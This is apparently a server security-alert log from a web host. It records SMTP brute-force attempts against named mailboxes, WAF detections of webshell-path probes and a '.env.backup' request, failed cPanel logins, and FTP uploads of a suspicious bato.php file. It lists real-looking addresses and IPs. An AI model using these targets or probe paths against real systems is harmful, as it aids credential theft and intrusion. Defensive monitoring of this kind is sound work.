country_id: 2510769
description:
2026-01-30 11:34:19 dovecot_login authenticator failed for H=(hnhbPi) [185.230.124.69]:49849: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.234.11.10
country_id: 2017370
description:
2026-01-30 11:34:45 dovecot_login authenticator failed for H=([213.234.11.10]) [213.234.11.10]:45212: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 11:34:58 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:40028: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:35:02 dovecot_login authenticator failed for H=(BGrw2KM) [185.230.124.69]:57242: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:35:24 dovecot_login authenticator failed for H=(5Dx1m0Jj) [185.230.124.69]:62179: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-30 11:35:44 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:36698: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-01-30 11:35:58 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [64.72.74.162]:56890: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:36:23 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.101.241.44
country_id: 1835841
description:
2026-01-30 11:36:59 dovecot_login authenticator failed for H=([222.101.241.44]) [222.101.241.44]:56406: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:36:04 dovecot_login authenticator failed for H=(cgrtyyf) [185.230.124.69]:58050: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 11:37:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:13422: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.55.189.211
country_id: 6252001
description:
2026-01-30 11:37:08 dovecot_login authenticator failed for H=(wllk99-129-211.dsl.netins.net) [67.55.189.211]:58263: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.175.199.86
country_id: 2017370
description:
2026-01-30 11:37:57 dovecot_login authenticator failed for H=(bergsound.Moscow.Access.Comstar.ru) [89.175.199.86]:59682: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.64
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.114
country_id: 1819730
description:
2026-01-30 11:38:05 dovecot_login authenticator failed for H=([223.197.145.114]) [223.197.145.114]:61562: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.144
country_id: 1819730
description:
2026-01-30 11:38:27 dovecot_login authenticator failed for H=(223-197-153-144.static.imsbiz.com) [223.197.153.144]:49417: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-30 11:39:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:20242: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:39:55 dovecot_login authenticator failed for H=(nMct1HeRe) [185.230.124.69]:49298: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-01-30 11:39:11 dovecot_login authenticator failed for H=(abts-north-static-104.21.176.122.airtelbroadband.in) [122.176.21.104]:55356: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 11:40:31 H=(localhost.localdomain) [45.150.192.143]:46918 F=<info@kapkenya.org> temporarily rejected RCPT <jacklim@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.197.57.71
country_id: 1733045
description:
2026-01-30 11:40:41 H=([127.0.0.1]) [103.197.57.71]:53284 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<etenancy@manforce.my> A=dovecot_plain:etenancy@manforce.my rejected RCPT <manager@example.com>: The mail server could not deliver mail to manager@example.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:40:05 dovecot_login authenticator failed for H=(QDcZamQ8F3) [185.230.124.69]:56526: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:41:02 dovecot_login authenticator failed for H=(kdm2Zz0QgE) [185.230.124.69]:62912: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 11:41:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:52928: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-30 11:41:26 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:34372: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-30 11:41:38 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:3433: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-30 11:41:02 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:12095: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.142.140
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/demos/img/img/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.236.186.137
country_id: 2017370
description:
2026-01-30 11:42:23 dovecot_login authenticator failed for H=(p186-137.samaralan.ru) [85.236.186.137]:39750: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-01-30 11:42:38 dovecot_login authenticator failed for H=([101.13.4.120]) [101.13.4.120]:46314: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:42:05 dovecot_login authenticator failed for H=(DF9cF84C) [185.230.124.69]:51253: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 11:42:11 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:50752: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.164.137
country_id: 1880251
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/maalloys.com.my/css/main.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.241.54.202
country_id: 6252001
description:
2026-01-30 11:42:58 dovecot_plain authenticator failed for H=cm-72-241-54-202.buckeyecom.net (thratioual) [72.241.54.202]:42260: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.238.27.205
country_id: 3469034
domain: maalloys.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/maalloys.com.my/green.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-30 11:42:33 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:40530: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.95.14.102
country_id: 1835841
description:
2026-01-30 11:43:06 dovecot_login authenticator failed for H=([220.95.14.102]) [220.95.14.102]:51396: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:43:11 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@plomalite.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:43:13 dovecot_login authenticator failed for H=(wLY6yMiFmp) [185.230.124.69]:63358: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.171
country_id: 6252001
description:
2026-01-30 11:43:03 dovecot_plain authenticator failed for H=([10.12.18.16]) [140.228.24.171]:22930: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.150.135.19
country_id: 690791
description:
2026-01-30 11:44:00 dovecot_login authenticator failed for H=(19.135.150.178.triolan.net) [178.150.135.19]:1710: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/plug/sms/img/index.php||SC:/home2/pspolycom/public_html/plug||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:44:14 dovecot_login authenticator failed for H=(UMSTXH) [185.230.124.69]:64037: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:44:12 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@plomalite.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.171.153.21
country_id: 783754
description:
2026-01-30 11:44:16 dovecot_login authenticator failed for H=(ADMIN) [31.171.153.21]:64663: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:44:33 dovecot_login authenticator failed for H=(nI8Qw9aB) [185.230.124.69]:55559: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.171
country_id: 6252001
description:
2026-01-30 11:44:00 dovecot_login authenticator failed for H=([10.12.18.16]) [140.228.24.171]:50793: 535 Incorrect authentication data (set_id=steven@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 11:45:50 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:55006: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.173.191.101
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=306191 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 117.120.26.49
country_id: 1831722
description:
[2026-01-30 11:45:43 +0800] info [cpaneld] 117.120.26.49 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.142.113.50
country_id: 1733045
description:
[2026-01-30 11:45:45 +0800] info [webmaild] 175.142.113.50 - accounts@evergrown.com.my "GET /cpsess3501005079/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.98.221
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=174516 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:45:15 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@plomalite.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:45:17 dovecot_login authenticator failed for H=(L7tQPRxEW) [185.230.124.69]:59008: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.39.216.10
country_id: 1814991
description:
2026-01-30 11:45:52 dovecot_login authenticator failed for H=([120.39.216.10]) [120.39.216.10]:49642: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:46:00 dovecot_login authenticator failed for H=(o69gkF) [185.230.124.69]:56877: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:46:18 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@plomalite.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 11:47:03 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@plomalite.com has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:47:05 dovecot_login authenticator failed for H=(dNIUO3g) [185.230.124.69]:53527: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 11:47:51 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:36292: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:48:10 dovecot_login authenticator failed for H=(VOIWMEwG) [185.230.124.69]:55563: 535 Incorrect authentication data (set_id=info@plomalite.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 103.203.57.18
country_id: 1814991
description:
2026-01-30 11:49:13 967445 [Warning] Aborted connection 967445 to db: 'unconnected' user: 'unauthenticated' host: '103.203.57.18' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.164.89.229
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/contact.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 11:49:59 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (quoress) [87.103.126.54]:31476: 535 Incorrect authentication data (set_id=shutters@col.com.my)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 117.120.26.49
country_id: 1831722
description:
Jan 30 11:50:39 sv3 pure-ftpd[2717086]: (admin@oxbold.com@117.120.26.49) [NOTICE] /home/oxboldc//public_html/disclamier/bato.php uploaded  (1063 bytes, 1258.40KB/sec)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/portfolio/img/img/img/img/demos/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 11:50:06 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:55896: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 117.120.26.49
country_id: 1831722
description:
Jan 30 11:51:37 sv3 pure-ftpd[2717086]: (admin@oxbold.com@117.120.26.49) [NOTICE] /home/oxboldc//public_html/script/core_helper.php uploaded  (94902 bytes, 631.90KB/sec)


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 117.120.26.49
country_id: 1831722
description:
Jan 30 11:52:01 sv3 pure-ftpd[2709306]: (admin@oxbold.com@117.120.26.49) [NOTICE] Deleted /home/oxboldc//public_html/script/core_helper.php


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 117.120.26.49
country_id: 1831722
description:
Jan 30 11:52:08 sv3 pure-ftpd[2717086]: (admin@oxbold.com@117.120.26.49) [NOTICE] /home/oxboldc//public_html/script/bato.php uploaded  (1063 bytes, 682.99KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.24.210.27
country_id: 1814991
description:
2026-01-30 11:54:59 dovecot_login authenticator failed for H=([1.24.210.27]) [1.24.210.27]:45224: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 147.50.94.29
country_id: 1605651
description:
2026-01-30 11:54:37 dovecot_login authenticator failed for H=([147.50.94.29]) [147.50.94.29]:47472: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-01-30 11:55:14 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:49942: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.81.78.152
country_id: 6252001
domain: vtgroupsb.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:vtgroupsb||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:56:58 dovecot_login authenticator failed for H=(sOZiL2) [185.230.124.69]:50136: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:57:09 dovecot_login authenticator failed for H=(8zF90Ox) [185.230.124.69]:59987: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:58:08 dovecot_login authenticator failed for H=(TlqkJveMpf) [185.230.124.69]:62704: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.118.110
country_id: 1733045
description:
[2026-01-30 11:58:23 +0800] info [webmaild] 113.211.118.110 - felicia@nexuscollection.com "POST /cpsess2217612001/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.135.93] != Current IP Address [113.211.118.110]


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.111
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/services/images/sliders/about.php||SC:/home/sutsbcom/public_html/services||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 11:59:14 dovecot_login authenticator failed for H=(bWKKOOtCSp) [185.230.124.69]:62180: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 11:59:40 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:47284: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 11:59:50 H=(localhost.localdomain) [45.150.192.143]:38684 F=<info@kapkenya.org> temporarily rejected RCPT <cky@ahfengineering.com>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:00:04 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:56714: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.183.103.121
country_id: 2635167
description:
2026-01-30 12:00:32 dovecot_login authenticator failed for H=(185-183-103-121.xdsl.5gdsl.com) [185.183.103.121]:53988: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.168.119.2
country_id: 1814991
description:
2026-01-30 12:00:36 dovecot_login authenticator failed for H=([180.168.119.2]) [180.168.119.2]:60659: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.54
country_id: 1269750
description:
2026-01-30 12:00:51 dovecot_login authenticator failed for H=(nsg-corporate-54.234.187.122.airtel.in) [122.187.234.54]:43484: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 12:00:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:56406: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:00:18 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/portfolio/cert.php||SC:/home/sutsbcom/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:00:20 dovecot_login authenticator failed for H=(aAEkFN) [185.230.124.69]:56813: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-30 12:01:09 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:35294: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:01:18 dovecot_login authenticator failed for H=(dBegIS) [185.230.124.69]:61177: 535 Incorrect authentication data (set_id=jayabalan.vcp@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:01:21 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 180.75.85.164
country_id: 1733045
description:
[2026-01-30 12:01:29 +0800] info [webmaild] 180.75.85.164 - account@pftfood.com "GET /cpsess1988978969/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:01:02 dovecot_login authenticator failed for H=(gRccYjH) [185.230.124.69]:55299: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
2026-01-30 12:02:38 dovecot_login authenticator failed for H=(ipay.manforce.com.my) [103.197.57.79]:55640: 535 Incorrect authentication data (set_id=notification@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.178.203.226
country_id: 6252001
description:
2026-01-30 12:02:05 dovecot_login authenticator failed for H=pool-71-178-203-226.washdc.fios.verizon.net [71.178.203.226]:53398: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 12:02:16 sv3 auth[2598542]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account janice@smartcable.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 12:02:18 dovecot_login authenticator failed for H=(nGCDwyy) [185.230.124.69]:58210: 535 Incorrect authentication data (set_id=janice@smartcable.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 158.94.211.33
country_id: 6252001
description:
2026-01-30 12:02:13 H=([158.94.211.33]) [158.94.211.33]:59306 F=<gerald.mukyenga@multilinesint.com> rejected RCPT <shipping@cordage.com.my>: SPF: 158.94.211.33 is not allowed to send mail from multilinesint.com


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mkumar@mkmetal.com.my [01/30/2026:04:03:28 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mkumar@mkmetal.com.my


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-30 12:03:30 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:60661: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.197.57.79
country_id: 1733045
description:
